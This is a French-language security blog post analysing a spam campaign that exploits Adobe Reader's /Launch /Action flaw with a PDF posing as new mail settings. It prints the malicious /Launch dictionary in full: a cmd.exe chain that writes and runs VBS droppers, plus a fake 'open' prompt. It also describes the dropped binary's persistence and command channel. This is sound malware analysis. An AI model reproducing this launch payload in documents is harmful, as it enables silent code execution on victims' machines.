On savait déjà que la récente vulnérabilité (Ref. Lexsi 13190) dans la gestion des actions /Launch /Action par Adobe Acrobat/Reader était exploitée dans la nature. Depuis hier circule un nouveau run de spam exploitant cette vulnérabilité.

Le message arrive de operator@monentreprise.com et tente de faire croire à l'utilisateur que ses paramètres POP3 et SMTP ont changé et que les nouveaux paramètres peuvent être trouvés dans le PDF en pièce jointe :

pdfid nous apprend qu'une action va être exécutée à l'ouverture du PDF (/OpenAction) :

$ pdfid.py doc.pdf

PDFiD 0.0.10 doc.pdf
PDF Header: %PDF-1.1
obj                    8
endobj                 8
stream                 1
endstream              1
xref                   1
trailer                1
startxref              1
/Page                  1
/Encrypt               0
/ObjStm                0
/JS                    0
/JavaScript            0
/AA                    0
/OpenAction            1
/AcroForm              0
/JBIG2Decode           0
/RichMedia             0
/Colors > 2^24         0

pdf-parser nous permet de dumper le code correspondant :

$ pdf-parser.py -a doc.pdf

Comment: 2
XREF: 1
Trailer: 1
StartXref: 1
Indirect object: 8
 2: 5, 6
/Action 1: 8
/Catalog 1: 1
/Font 1: 7
/Outlines 1: 2
/Page 1: 4
/Pages 1: 3

$ pdf-parser.py doc.pdf -v -f -w -o 8

<<
/Type /Action
/S /Launch
/Win
<<
 /F (cmd.exe)
 /P (/c echo Set fso=CreateObject("Scripting.FileSystemObject") > script.vbs && echo Set f=fso.OpenTextFile("doc.pdf", 1, True)
>> script.vbs && echo pf=f.ReadAll  >> script.vbs && echo s=InStr(pf,"'SS")  >> script.vbs && echo e=InStr(pf,"'EE")  >> script.vbs
&& echo s=Mid(pf,s,e-s)  >> script.vbs && echo Set z=fso.OpenTextFile("batscript.vbs", 2, True)  >> script.vbs &&
echo s = Replace(s,"%","") >> script.vbs && echo z.Write(s) >> script.vbs &&  script.vbs && batscript.vbs
Click the "open" button to view this document:)
>>
>>

Ce PDF exploite donc bien la vulnérabilité /Launch /Action et utilise l'astuce présentée par Didier Stevens pour changer le message d'avertissement d'Acrobat/Reader :

En fait, en remontant dans la boîte de dialogue, le code shell malveillant s'affiche :

Le code d'exploitation du PDF fonctionne ensuite en plusieurs étapes :

  • le code shell contenu dans la directive /Launch crée le fichier script.vbs
  • ce script ouvre le PDF et recopie dans batscript.vbs le code VBS contenu entre les patterns 'SS et 'EE, en prenant soin de supprimer les "%"

  • le script batscript.vbs crée le fichier game.exe octet par octet, puis l'exécute

Afin d'assurer son lancement à chaque démarrage du système, game.exe se recopie dans C:\Program Files\Microsoft Common\svchost.exe et se place en tant que debugger de explorer.exe. Il se connecte à un canal de contrôle en Corée :

Promis, je ne finirai pas ce billet en disant que la détection du binaire malveillant par les éditeurs antivirus est quasi nulle.